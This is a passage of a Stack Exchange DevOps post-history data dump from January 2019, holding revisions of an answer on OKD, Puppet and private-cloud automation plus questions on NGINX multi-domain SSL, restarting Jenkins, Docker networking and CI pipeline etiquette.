disappear” as the tooling changes with “devops” we will simply see both old and new problems, and see skills and practices adapt and evolve to the new tools. Some problems go away (elasticity, provisioning VMs) but new ones take their place (chaining functions, monitor business KPIs across the distributed application). &#xA;&#xA;By way of an example one form of serverless in the generic sense, which isn’t only functions or lambda, is to define your entire system in git using yaml and have git webhooks sync the configuration into a cloud provider managed Kubernetes to create your running system. You don't use servers you rent cpu and ram quota a managed cluster to host your containers. Then you can automate both creating releases and promoting releases using a slack chatbot. Whether your yaml is chaining together functions, or starting containers in kubernetes, depends on what you need to run. As soon as you get beyond a simple “hello world” webapp you need to define a whole host of yaml and workflow that “run your business” that a cloud provider cannot just gift you. &#xA;&#xA;I think everyone can agree that that work of “just configuring yaml” to deploy multiple APIs and web frontends you can monitor and continously improve is “devops work”. The fact that that tools are cutting edge and can use SaaS based CI/CD, functions, rent cpu and memory quota on a shared kubernetes, use managed cloud database, etc just means it’s devops with new tools not devops with traditional tools.&#xA;&#xA;I am a tech advisor at a startup where that’s exactly what we have setup. We are in the process of open sourcing the scripts that we use as [OCD][1] (our business doesnt use functions yet so currently it's OKD Kubernetes automation). I am migrating the startup to the open source version in the evenings. So during that day I do devops work with traditional tools (Jenkins et al) and in the evenings I do devops work with the very latest tools. Adding a ton of serverless lambda into the things that our startup does won’t suddenly mean that the minimal viable product would magically set itself up. As long we we need to improve our product and deploy new user experiences and configure our use of APIs we will continue to “do devops”. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="19052" PostHistoryTypeId="2" PostId="5932" RevisionGUID="65774875-e2e8-48da-a8b8-26ba1d95ebea" CreationDate="2019-01-10T03:21:10.103" UserId="10870" Text="I have two application served in a single server `app1.domain.com` and `app2.domain.com`. &#xD;&#xA;&#xD;&#xA;I want to proxy pass the request from `app1` to serve static file and `app2` to `proxy_pass` `localhost:8000`&#xD;&#xA;&#xD;&#xA;I already have both SSL certificate using letsencrypt, how can I serve both apps using a single server?&#xD;&#xA;&#xD;&#xA;I thought I can use different `server_name`. I read from [here][1]: the article use multiple NGINX `server` with the same port 80. But when I try for the port 443 the test fails &quot;duplicate listen options for..&quot;. Here is my current config&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;    	server_name app1.domain.com;&#xD;&#xA;    &#xD;&#xA;    	listen [::]:443 ssl ipv6only=on; &#xD;&#xA;        listen 443 ssl; &#xD;&#xA;        ssl_certificate /etc/letsencrypt/live/app1.domain.com/fullchain.pem; &#xD;&#xA;        ssl_certificate_key /etc/letsencrypt/live/app1.domain.com/privkey.pem; &#xD;&#xA;    &#xD;&#xA;    	index index.html;&#xD;&#xA;    	root /usr/share/nginx/html/;&#xD;&#xA;    &#xD;&#xA;    	location ~* \.(css|js|png|jpg|jpeg)$ {&#xD;&#xA;    		try_files $uri $uri/ =404;&#xD;&#xA;    		gzip_static on;&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	location / {&#xD;&#xA;    		try_files $uri /index.html =404;&#xD;&#xA;    		gzip_static on;&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    	server_name app2.domain.com;&#xD;&#xA;    &#xD;&#xA;    	listen [::]:443 ssl ipv6only=on; &#xD;&#xA;        listen 443 ssl; &#xD;&#xA;        ssl_certificate /etc/letsencrypt/live/app2.domain.com/fullchain.pem; &#xD;&#xA;        ssl_certificate_key /etc/letsencrypt/live/app2.domain.com/privkey.pem; &#xD;&#xA;    &#xD;&#xA;    	index index.html;&#xD;&#xA;    	root /usr/share/nginx/html/;&#xD;&#xA;    &#xD;&#xA;    	location / {&#xD;&#xA;    		proxy_set_header  Host $host;&#xD;&#xA;    		proxy_set_header  X-Real-IP $remote_addr;&#xD;&#xA;    		proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;    		proxy_set_header  X-Forwarded-Proto $scheme;&#xD;&#xA;    &#xD;&#xA;    		# Fix the “It appears that your reverse proxy set up is broken&quot; error.&#xD;&#xA;    		proxy_pass    http://localhost:8000/;&#xD;&#xA;    		proxy_read_timeout  90;&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        if ($host ~ &quot;app1.domain.com|app2.domain.com&quot;) {&#xD;&#xA;            return 301 https://$host$request_uri;&#xD;&#xA;        } &#xD;&#xA;    &#xD;&#xA;    	listen 80 default_server;&#xD;&#xA;    	listen [::]:80 default_server;&#xD;&#xA;    &#xD;&#xA;    	server_name domain.id;&#xD;&#xA;        return 404; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And I thought maybe I could use `if ($host = domain)` inside the `location` but it fails too&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://whatididtodowhatidid.wordpress.com/2014/03/14/subdomains-for-ports-on-same-ubuntu-server-with-nginx-reverse-proxy/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19053" PostHistoryTypeId="1" PostId="5932" RevisionGUID="65774875-e2e8-48da-a8b8-26ba1d95ebea" CreationDate="2019-01-10T03:21:10.103" UserId="10870" Text="Multiple Application in single SSL 443 server NGINX" ContentLicense="CC BY-SA 4.0" />
  <row Id="19054" PostHistoryTypeId="3" PostId="5932" RevisionGUID="65774875-e2e8-48da-a8b8-26ba1d95ebea" CreationDate="2019-01-10T03:21:10.103" UserId="10870" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19055" PostHistoryTypeId="2" PostId="5933" RevisionGUID="9f9cfdf2-eb39-4fcc-bff7-eb7938baf471" CreationDate="2019-01-10T03:49:55.253" UserId="10870" Text="Oops, turns out I just have to remove the line &#xD;&#xA;`listen [::]:443 ssl ipv6only=on;`&#xD;&#xA;and it works.&#xD;&#xA;&#xD;&#xA;it's leftover from running NGINX certbot, I thought that was important" ContentLicense="CC BY-SA 4.0" />
  <row Id="19056" PostHistoryTypeId="2" PostId="5934" RevisionGUID="ab347889-817d-4518-899a-4bb3197a14d6" CreationDate="2019-01-10T05:34:35.520" UserId="11757" Text="I have set up Jenkins version --Jenkins ver.2.155&#xD;&#xA;post adding plugin, i need to restart Jenkins but &quot;Restart Jenkins&quot; tab or link not working.I dont find my [] checkbox to check/tic click on arrow is not working (Refer image). Any help will be appreciated &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/u7kfA.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19057" PostHistoryTypeId="1" PostId="5934" RevisionGUID="ab347889-817d-4518-899a-4bb3197a14d6" CreationDate="2019-01-10T05:34:35.520" UserId="11757" Text="Jenkins: No Checkbox to Restart Jenkins when installation is complete.Unable to restart Jenkins post plugin download" ContentLicense="CC BY-SA 4.0" />
  <row Id="19058" PostHistoryTypeId="3" PostId="5934" RevisionGUID="ab347889-817d-4518-899a-4bb3197a14d6" CreationDate="2019-01-10T05:34:35.520" UserId="11757" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19059" PostHistoryTypeId="2" PostId="5935" RevisionGUID="bbd3cf72-1259-41c6-b95d-df0b4c9fab0c" CreationDate="2019-01-10T05:37:14.487" UserId="4369" Text="When resolving a service in Kubernetes,&#xD;&#xA;&#xD;&#xA;&gt;Assume a Service named foo in the Kubernetes namespace bar. A Pod running in namespace bar can look up this service by simply doing a DNS query for foo. A Pod running in namespace quux can look up this service by doing a DNS query for foo.bar.&#xD;&#xA;&#xD;&#xA;Since Jaeger is in the same namespace, then yes, it can resolve the Elasticsearch endpoint with just `elasticsearch`. Your configuration is correct in that respect and requires no changes.&#xD;&#xA;&#xD;&#xA;If Jaeger were located in another namespace, you could specify the full DNS record `elasticsearch.default.svc.cluster.local`." ContentLicense="CC BY-SA 4.0" />
  <row Id="19060" PostHistoryTypeId="4" PostId="5934" RevisionGUID="baf47098-ae5f-4fa0-b5ed-336decfbf461" CreationDate="2019-01-10T05:45:01.093" UserId="11757" Comment="edited title" Text="Jenkins: No Checkbox to&quot; Restart Jenkins when installation is complete&quot;.Unable to restart Jenkins post plugin download" ContentLicense="CC BY-SA 4.0" />
  <row Id="19061" PostHistoryTypeId="2" PostId="5936" RevisionGUID="6f8f5cea-aeea-43c5-8e2e-7e763998cb77" CreationDate="2019-01-10T08:19:28.240" UserId="10599" Text="**TL;DR** Roll out a container orchestrator for new builds (e.g. OKD or the commercial version OCP). Work on packaging existing apps to be managed by an automation system (e.g., Puppet Enterprise) so rollout, patching and upgrades are all automated. Take root access away from everyone else and have them only do installs via the automation tools. &#xA;&#xA;**Long Answer** including one fully automated WMWare private cloud: &#xA;&#xA;Moving to cloud native tech such as Kubernetes, CloudFoundry or Docker Swarm isn't an easy option if you have a huge set it existing apps. Yet you could potentially reap huge benefits from making such technology available for new development. What you want is for teams to &quot;self-service&quot; via, say, the Kubernetes webui and command line tools. OKD is a distro of Kubernetes that focuses on “self-service devops” that I have seen work very well for three large system builds at three large organisations. It can be installed on Linux VMs that you manage any way you want (e.g., Puppet Enterprise example below) and there is commercial support from a large Linux vendor. &#xA;&#xA;With such an approach you setup a cluster you can expand to up to 2000 identical VMs. You grant teams a logical “namespace” (aka “project”) and assign a quote for memory and cpu. Teams then use the webui or command line to spin up dozens of containers that are automatically spread over the cluster of VMs. You can apply tags to VMs and projects to place different teams on different pools of VMs is you still want bill departments based on how many VMs they reserve. OKD does software defined networks and automated DNS for each project so as it takes away the headaches of assigning IPs or managing DNS it’s fully automated. Also load balancing and fail-overs and scale out are all automated. &#xA;&#xA;New apps will need to be built to modern standards to work within such a container orchestrator. In four separate experiences of rolling this out I have seen skeptical developer teams love the immediacy of &quot;just help ourselves&quot; up to their quota. The forget they ever started out demanding root access. I worked at a big organisation where we automated setting up each new scrum team with with multiple environments on commercial OKD (called OCP) with databases, networks, git repos, and running sample code all created by a small webapp we wrote in less than 15 minutes. &#xA;&#xA;With your existing stuff then the road out of cost and overhead is standardisation, standardisation and more standardisation. At the moment I am working with a private cloud platform which is VMWare vRA based. The vRA portal has blueprint that internal customers launch standardised host profiles for databases, message brokers, webservers and &quot;vanilla” (plain) Linux hosts. The launched images have Puppet Agent installed and a Puppet Enterprise Server enforces, you guesses it, standards. If you use root to tamper with the config then puppet agent runs every 20 minutes and puts back the configuration to match the puppet profile. &#xA;&#xA;The puppet profiles are all in git and with a separate Puppet Hiera config repo defines all configuration setting for all hosts. One git repo has the Hiera config for the base OS with different overrides for database profiles or application profiles (eg applying kernel settings). A second git repo holds the Hiera config for the application profiles (e.g., install and start oracle database, or a messaging brokers, or a web server). A third repo holds the Hiera config for any host level overrides needs for tricky applications or production fixed yet to make it into the main configuration for that application profile. &#xA;&#xA;Puppet chooses the most specific configuration settings for the actual hosts. It looks for host specific, not normally needed, then looks for app profile specific settings, not always defined, then uses the default for the OS. Everything is in git and managed by code review of pull requests. It’s proper infrastructure-as-code managed by GitHub Enterprise. &#xA;&#xA;All of the above works for the “standard” software packages used at the organisation. For in-house apps they don’t yet have Kubernetes. Teams launch a “vanilla” Linux blueprint on the VMware vRA portal rather than a specific application blue print. So they might launch an Oracle database blueprint and three vanilla Linux ones to run their java code. With vanilla it has all the access management packages (Centify) and teams just run use cap to upload their java. Teams are using Ansible Tower to do the upload their Java apps on their hosts via none root ssh access. That can be driven by Jenkins. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19062" PostHistoryTypeId="5" PostId="5936" RevisionGUID="1ffbced0-8f8a-4c69-8de0-4572c108cfbb" CreationDate="2019-01-10T08:24:30.300" UserId="10599" Comment="deleted 2 characters in body" Text="**TL;DR** Roll out a container orchestrator for new builds (e.g. OKD or the commercial version OCP). Work on packaging existing apps to be managed by an automation system (e.g., Puppet Enterprise) so rollout, patching and upgrades are all automated. Take root access away from everyone else and have them only do installs via the automation tools. &#xA;&#xA;**Long Answer** including one fully automated WMWare private cloud: &#xA;&#xA;Moving to cloud native tech such as Kubernetes, CloudFoundry or Docker Swarm isn't an easy option if you have a huge set it existing apps. Yet you could potentially reap huge benefits from making such technology available for new development. What you want is for teams to &quot;self-service&quot; via, say, the Kubernetes webui and command line tools. OKD is a distro of Kubernetes that focuses on “self-service devops” that I have seen work very well for three large system builds at three large organisations. It can be installed on Linux VMs that you manage any way you want (e.g., Puppet Enterprise example below) and there is commercial support from a large Linux vendor. &#xA;&#xA;With such an approach you setup a cluster you can expand to up to 2000 identical VMs. You grant teams a logical “namespace” (aka “project”) and assign a quote for memory and cpu. Teams then use the webui or command line to spin up dozens of containers that are automatically spread over the cluster of VMs. You can apply tags to VMs and projects to place different teams on different pools of VMs is you still want bill departments based on how many VMs they reserve. OKD does software defined networks and automated DNS for each project so as it takes away the headaches of assigning IPs or managing DNS it’s fully automated. Also load balancing and fail-overs and scale out are all automated. &#xA;&#xA;New apps will need to be built to modern standards to work within such a container orchestrator. In four separate experiences of rolling this out I have seen skeptical developer teams love the immediacy of &quot;just help ourselves&quot; up to their quota. The forget they ever started out demanding root access. I worked at a big organisation where we automated setting up each new scrum team with with multiple environments on commercial OKD (called OCP) with databases, networks, git repos, and running sample code all created by a small webapp we wrote in less than 15 minutes. &#xA;&#xA;With your existing stuff then the road out of cost and overhead is standardisation, standardisation and more standardisation. At the moment I am working with a private cloud platform which is VMWare vRA based. The vRA portal has blueprint that internal customers launch standardised host profiles for databases, message brokers, webservers and &quot;vanilla” (plain) Linux hosts. The launched images have Puppet Agent installed and a Puppet Enterprise Server enforces, you guesses it, standards. If you use root to tamper with the config then puppet agent runs every 20 minutes and puts back the configuration to match the puppet profile. &#xA;&#xA;The puppet profiles are all in git and with a separate Puppet Hiera config repo defines all configuration setting for all hosts. One git repo has the Hiera config for the base OS with different overrides for database profiles or application profiles (eg applying kernel settings). A second git repo holds the Hiera config for the application profiles (e.g., install and start oracle database, or a message brokers, or a web server). A third repo holds the Hiera config for any host level overrides needs for tricky applications or production fixed yet to make it into the main configuration for that application profile. &#xA;&#xA;Puppet chooses the most specific configuration settings for the actual hosts. It looks for host specific, not normally needed, then looks for app profile specific settings, not always defined, then uses the default for the OS. Everything is in git and managed by code review of pull requests. It’s proper infrastructure-as-code managed by GitHub Enterprise. &#xA;&#xA;All of the above works for the “standard” software packages used at the organisation. For in-house apps they don’t yet have Kubernetes. Teams launch a “vanilla” Linux blueprint on the VMware vRA portal rather than a specific application blue print. So they might launch an Oracle database blueprint and three vanilla Linux ones to run their java code. With vanilla it has all the access management packages (Centify) and teams just run use cap to upload their java. Teams are using Ansible Tower to do the upload their Java apps on their hosts via none root ssh access. That can be driven by Jenkins. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19063" PostHistoryTypeId="5" PostId="5936" RevisionGUID="47a3b49f-6008-4eb3-a2ff-f4e752fef1a6" CreationDate="2019-01-10T08:29:39.670" UserId="10599" Comment="added 23 characters in body" Text="**TL;DR** Roll out a container orchestrator for new builds (e.g. OKD or the commercial version OCP). Work on packaging existing apps to be managed by an automation system (e.g., Puppet Enterprise) so rollout, patching and upgrades are all automated. Take root access away from everyone else and have them only do installs via the automation tools. &#xA;&#xA;**Long Answer** including one fully automated WMWare private cloud: &#xA;&#xA;Moving to cloud native tech such as Kubernetes, CloudFoundry or Docker Swarm isn't an easy option if you have a huge set it existing apps. Yet you could potentially reap huge benefits from making such technology available for new development. What you want is for teams to &quot;self-service&quot; via, say, the Kubernetes webui and command line tools. OKD is a distro of Kubernetes that focuses on “self-service devops” that I have seen work very well for three large system builds at three large organisations. It can be installed on Linux VMs that you manage any way you want (e.g., Puppet Enterprise example below) and there is commercial support from a large Linux vendor. &#xA;&#xA;With such an approach you setup a cluster you can expand to up to 2000 identical VMs. You grant teams a logical “namespace” (aka “project”) and assign a quote for memory and cpu. Teams then use the webui or command line to spin up dozens of containers that are automatically spread over the cluster of VMs. You can apply tags to VMs and projects to place different teams on different pools of VMs is you still want bill departments based on how many VMs they reserve. OKD does software defined networks and automated DNS for each project so as it takes away the headaches of assigning IPs or managing DNS it’s fully automated. Also load balancing and fail-overs and scale out are all automated. &#xA;&#xA;New apps will need to be built to modern standards to work within such a container orchestrator. In four separate experiences of rolling this out I have seen skeptical developer teams love the immediacy of &quot;just help ourselves&quot; up to their quota. The forget they ever started out demanding root access. I worked at a big organisation where we automated setting up each new scrum team with with multiple environments on commercial OKD (called OCP) with databases, networks, git repos, and running sample code all created by a small webapp we wrote in less than 15 minutes. &#xA;&#xA;With your existing stuff then the road out of cost and overhead is standardisation, standardisation and more standardisation. At the moment I am working with a private cloud platform which is VMWare vRA based. The vRA portal has blueprint that internal customers launch standardised host profiles for databases, message brokers, webservers and &quot;vanilla” (plain) Linux hosts. The launched images have Puppet Agent installed and a Puppet Enterprise Server enforces, you guesses it, standards. If you use root to tamper with the config then puppet agent runs every 20 minutes and puts back the configuration to match the puppet profile. &#xA;&#xA;The puppet profiles are all in git and with a separate Puppet Hiera config repo defines all configuration setting for all hosts. One git repo has the Hiera config for the base OS with different overrides for database profiles or application profiles (eg applying kernel settings). A second git repo holds the Hiera config for the application profiles (e.g., install and start oracle database, or a message brokers, or a web server). A third repo holds the Hiera config for any host level overrides needs for tricky applications or production fixed yet to make it into the main configuration for that application profile. &#xA;&#xA;Puppet chooses the most specific configuration settings for the actual hosts. It looks for host specific, not normally needed, then looks for app profile specific settings, not always defined, then uses the default for the OS. Everything is in git and managed by code review of pull requests. It’s proper infrastructure-as-code managed by GitHub Enterprise. &#xA;&#xA;All of the above works for the “standard” software packages used at the organisation. For in-house apps they don’t yet have Kubernetes. Teams launch a “vanilla” Linux blueprint on the VMware vRA portal rather than a specific application blue print. So they might launch an Oracle database blueprint and three vanilla Linux ones to run their java code. With vanilla it has all the access management packages (Centify) and teams just run use scp to upload their java. Teams are using Ansible Tower to do the upload their Java apps via none root ssh access. That is driven by Jenkins deploy jobs that call out to Ansible Tower." ContentLicense="CC BY-SA 4.0" />
  <row Id="19069" PostHistoryTypeId="2" PostId="5938" RevisionGUID="7e582cc1-d835-4df4-b64f-35b9630afeb5" CreationDate="2019-01-10T17:36:45.057" UserId="4427" Text="You can restart jenkins by visiting `/restart`. So if your url is `https://my-jenkins.local` you would visit `https://my-jenkins.local/restart`.&#xD;&#xA;&#xD;&#xA;It's been answered many times before, so maybe search around next time ;). Hope that helps ya." ContentLicense="CC BY-SA 4.0" />
  <row Id="19070" PostHistoryTypeId="2" PostId="5939" RevisionGUID="a6552044-a203-4816-a946-f920b9dcd142" CreationDate="2019-01-10T17:54:21.123" UserId="10356" Text="Our application is a combination of 4 different applications. The graphics part is running on a host and other 3 applications are running on 3 different **VMs**. Which uses bridge networking.&#xD;&#xA;&#xD;&#xA;    eg. Graphics app1 - 192.168.2.201 (Base Machine/HOST)&#xD;&#xA;        Application 2 - 192.168.2.202 (VM1)&#xD;&#xA;        Application 3 - 192.168.2.203 (VM2)&#xD;&#xA;        Application 4 - 192.168.2.204 (VM3)&#xD;&#xA;&#xD;&#xA;Which is running fine.  &#xD;&#xA;&#xD;&#xA;But, to get advantage of containers, we want to shift our VM applications into docker container. But in docker, when we are using Bridge Networking, it doesn't take IPs in HOST network, obviously because, Bridge network ID is not same as host. And application fails to run.  &#xD;&#xA;&#xD;&#xA;How can we achieve the Bridge Networking with same network ID (say 192.168.2.0)? We cannot use Host networking.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19071" PostHistoryTypeId="1" PostId="5939" RevisionGUID="a6552044-a203-4816-a946-f920b9dcd142" CreationDate="2019-01-10T17:54:21.123" UserId="10356" Text="container on same network with host" ContentLicense="CC BY-SA 4.0" />
  <row Id="19072" PostHistoryTypeId="3" PostId="5939" RevisionGUID="a6552044-a203-4816-a946-f920b9dcd142" CreationDate="2019-01-10T17:54:21.123" UserId="10356" Text="&lt;docker&gt;&lt;containers&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19073" PostHistoryTypeId="2" PostId="5940" RevisionGUID="df81194e-01c9-4b01-b3ec-70d64500c1bb" CreationDate="2019-01-10T18:13:35.393" UserId="3523" Text="My company is integrating CI/CD, so far we have implemented CI from what I understand. Currently when a developer pushes code to our git repo, the CI pipeline runs. &#xD;&#xA;&#xD;&#xA;Currently our CI pipeline include building the project and the doing static code analysis to make sure it meets our coding standards. We will be implementing testing next. The build and static code analysis take about 3mins right now. From what I have read fixing issues right away is critical to CI/CD. I expect when we add in unit tests that the pipeline could take around 10mins to run.&#xD;&#xA;&#xD;&#xA;So my question is when a developer make a pull/merge request should they wait for the CI pipeline to complete or just move on to the next task and come back to fix pipeline issues if they exists? Or should they sit and watch the pipeline run? &#xD;&#xA;&#xD;&#xA;Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="19074" PostHistoryTypeId="1" PostId="5940" RevisionGUID="df81194e-01c9-4b01-b3ec-70d64500c1bb" CreationDate="2019-01-10T18:13:35.393" UserId="3523" Text="Should developer wait for CI pipeline to complete or start next task after pushing" ContentLicense="CC BY-SA 4.0" />
  <row Id="19075" PostHistoryTypeId="3" PostId="5940" RevisionGUID="df81194e-01c9-4b01-b3ec-70d64500c1bb" CreationDate="2019-01-10T18:13:35.393" UserId="3523" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19080" PostHistoryTypeId="2" PostId="5942" RevisionGUID="4f94cbb8-4a71-46db-8a48-d73e435cbe34" CreationDate="2019-01-10T19:06:12.073" UserId="6162" Text="&gt; Sit and watch the pipeline run?&#xD;&#xA;&#xD;&#xA;No, that is not how you work efficiently.&#xD;&#xA;&#xD;&#xA;Developers push their commits to the source control repository and then the CI/CD pipeline is triggered.&#xD;&#xA;&#xD;&#xA;Developers may post a well-written pull request anytime they want. There is usually a visual mark representing an &quot;on-going build&quot;/&quot;failed build&quot;/&quot;successful build&quot;.&#xD;&#xA;&#xD;&#xA;Typically a brach can be merged whenever **all** these criteria is fulfilled:&#xD;&#xA;&#xD;&#xA;* at least one approver / or as many that is required to approve has approved.&#xD;&#xA;* a &quot;successful build&quot;&#xD;&#xA;* no unresolved merge conflicts&#xD;&#xA;&#xD;&#xA;If any of these criteria not is fulfilled, they need to be fixed, but the developer does it whenever he has time or priority to do this task." ContentLicense="CC BY-SA 4.0" />
  <row Id="19081" PostHistoryTypeId="2" PostId="5943" RevisionGUID="2d660eb9-a35e-40b1-bb6f-39ffbb94f168" CreationDate="2019-01-10T19:36:26.027" UserId="10011" Text="I have code repo held in Collection 1 and, using this code repo, I am trying to create a Build artifact and Release definition in a different Collection 2.&#xD;&#xA;&#xD;&#xA;Is this even possible? " ContentLicense="CC BY-SA 4.0" />
  <row Id="19082" PostHistoryTypeId="1" PostId="5943" RevisionGUID="2d660eb9-a35e-40b1-bb6f-39ffbb94f168" CreationDate="2019-01-10T19:36:26.027" UserId="10011" Text="In Azure Devops and TFS, is it possible to create a build artifact and release definition in a different collection than the original code repository?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19083" PostHistoryTypeId="3" PostId="5943" RevisionGUID="2d660eb9-a35e-40b1-bb6f-39ffbb94f168" CreationDate="2019-01-10T19:36:26.027" UserId="10011" Text="&lt;continuous-integration&gt;&lt;azure&gt;&lt;azure-devops&gt;&lt;cicd&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19084" PostHistoryTypeId="6" PostId="5943" RevisionGUID="19b803e9-2b04-406c-afbf-319b90909fa4" CreationDate="2019-01-10T20:21:20.853" UserId="10011" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;&lt;cicd&gt;&lt;azure-pipelines&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19085" PostHistoryTypeId="5" PostId="5936" RevisionGUID="9b4a717e-117d-4f43-84c3-cfdb06aa2aa3" CreationDate="2019-01-10T20:53:06.867" UserId="10599" Comment="edited body; edited body; edited body; deleted 5 characters in body; edited body; deleted 7 characters in body" Text="**TL;DR** Roll out a container orchestrator for new builds (e.g. OKD or the commercial version OCP). Work on packaging existing apps to be managed by an automation system (e.g., Puppet Enterprise) so rollout, patching and upgrades are all automated. Take root access away from everyone else and have them only do installs via the automation tools. &#xA;&#xA;**Long Answer** including one fully automated WMWare private cloud: &#xA;&#xA;Moving to cloud native tech such as Kubernetes, CloudFoundry or Docker Swarm isn't an easy option if you have a huge set it existing apps. Yet you could potentially reap huge benefits from making such technology available for new development. What you want is for teams to &quot;self-service&quot; via, say, the Kubernetes webui and command line tools. OKD is a distro of Kubernetes that focuses on “self-service devops” that I have seen work very well for three large system builds at three large organisations. It can be installed on Linux VMs that you manage any way you want (e.g., Puppet Enterprise example below) and there is commercial support from a large Linux vendor. &#xA;&#xA;With such an approach you setup a cluster you can expand to up to 2000 identical VMs. You grant teams a logical “namespace” (aka “project”) and assign a quota for memory and cpu. Teams then use the webui or command line to spin up dozens of containers that are automatically spread over the cluster of VMs. You can apply tags to VMs and projects to place different teams on different pools of VMs if you still want bill departments based on how many VMs they reserve. OKD does software defined networks and automated DNS for each project so as it takes away the headaches of assigning IPs or managing DNS it’s fully automated. Also load balancing and fail-overs and scale out are all automated. &#xA;&#xA;New apps will need to be built to modern standards to work within such a container orchestrator. In four separate experiences of rolling this out I have seen skeptical developer teams love the immediacy of &quot;just help ourselves&quot; up to their quota. The forget they ever started out demanding root access. I worked at a big organisation where we automated setting up each new scrum team with with multiple environments on commercial OKD (called OCP) with databases, networks, git repos, and running sample code all created by a small webapp we wrote in less than 15 minutes. &#xA;&#xA;With your existing stuff then the road out of cost and overhead is standardisation, standardisation and more standardisation. At the moment I am working with a private cloud platform which is VMWare vRA based. The vRA portal has blueprint that internal customers launch standardised host profiles for databases, message brokers, webservers and &quot;vanilla” (plain) Linux hosts. The launched images have Puppet Agent installed and a Puppet Enterprise Server enforces, you guessed it, standards. If you use root to tamper with the config then puppet agent runs every 20 minutes and puts back the configuration to match the puppet profile. &#xA;&#xA;The puppet profiles are all in git and a separate Puppet Hiera config repo defines all configuration setting for all hosts. One git repo has the Hiera config for the base OS with different overrides for database profiles or application profiles (eg applying kernel settings). A second git repo holds the Hiera config for the application profiles (e.g., install and start oracle database, or a message brokers, or a web server). A third repo holds the Hiera config for any host level overrides needs for tricky applications or production fixes yet to make it into the main configuration for that application profile. &#xA;&#xA;Puppet chooses the most specific configuration settings for the actual hosts. It looks for host specific, not normally needed, then looks for app profile specific settings, not always defined, then uses the default for the OS. Everything is in git and managed by code review of pull requests. It’s proper infrastructure-as-code managed by GitHub Enterprise. &#xA;&#xA;All of the above works for the “standard” software packages used at the organisation. For in-house apps they don’t yet have Kubernetes. Teams launch a “vanilla” Linux blueprint on the VMware vRA portal rather than a specific application blue print. So they might launch an Oracle database blueprint and three vanilla Linux ones to run their java code. With vanilla it has all the access management packages (Centify) and teams just run use scp to upload their java. Teams are using Ansible Tower to upload their Java apps via none root ssh access. That is driven by Jenkins deploy jobs that call out to Ansible Tower." ContentLicense="CC BY-SA 4.0" />
  <row Id="19086" PostHistoryTypeId="5" PostId="5936" RevisionGUID="55d092e5-df74-4a89-b41a-510446fa3aad" CreationDate="2019-01-10T20:58:57.370" UserId="10599" Comment="deleted 3 characters in body; added 92 characters in body" Text="**TL;DR** Roll out a container orchestrator for new builds (e.g. OKD or the commercial version OCP). Work on packaging existing apps to be managed by an automation system (e.g., Puppet Enterprise) so rollout, patching and upgrades are all automated. Take root access away from everyone else and have them only do installs via the automation tools. &#xA;&#xA;**Long Answer** including one fully automated WMWare private cloud: &#xA;&#xA;Moving to cloud native tech such as Kubernetes, CloudFoundry or Docker Swarm isn't an easy option if you have a huge set it existing apps. Yet you could potentially reap huge benefits from making such technology available for new development. What you want is for teams to &quot;self-service&quot; via, say, the Kubernetes webui and command line tools. OKD is a distro of Kubernetes that focuses on “self-service devops” that I have seen work very well for three large system builds at three large organisations. It can be installed on Linux VMs that you manage any way you want (e.g., Puppet Enterprise example below) and there is commercial support from a large Linux vendor. &#xA;&#xA;With such an approach you setup a cluster you can expand to up to 2000 identical VMs. You grant teams a logical “namespace” (aka “project”) and assign a quota for memory and cpu. Teams then use the webui or command line to spin up dozens of containers that are automatically spread over the cluster of VMs. You can apply tags to VMs and projects to place different teams on different pools of VMs if you still want bill departments based on how many VMs they reserve. OKD does software defined networks and automated DNS for each project so it takes away the headaches of assigning IPs or managing DNS as it is fully automated. Also load balancing, fail-overs and scale out are all automated. It also does rolling deployments and will health check containers and restart failed ones. &#xA;&#xA;New apps will need to be built to modern standards to work within such a container orchestrator. In four separate experiences of rolling this out I have seen skeptical developer teams love the immediacy of &quot;just help ourselves&quot; up to their quota. The forget they ever started out demanding root access. I worked at a big organisation where we automated setting up each new scrum team with with multiple environments on commercial OKD (called OCP) with databases, networks, git repos, and running sample code all created by a small webapp we wrote in less than 15 minutes. &#xA;&#xA;With your existing stuff then the road out of cost and overhead is standardisation, standardisation and more standardisation. At the moment I am working with a private cloud platform which is VMWare vRA based. The vRA portal has blueprint that internal customers launch standardised host profiles for databases, message brokers, webservers and &quot;vanilla” (plain) Linux hosts. The launched images have Puppet Agent installed and a Puppet Enterprise Server enforces, you guessed it, standards. If you use root to tamper with the config then puppet agent runs every 20 minutes and puts back the configuration to match the puppet profile. &#xA;&#xA;The puppet profiles are all in git and a separate Puppet Hiera config repo defines all configuration setting for all hosts. One git repo has the Hiera config for the base OS with different overrides for database profiles or application profiles (eg applying kernel settings). A second git repo holds the Hiera config for the application profiles (e.g., install and start oracle database, or a message brokers, or a web server). A third repo holds the Hiera config for any host level overrides 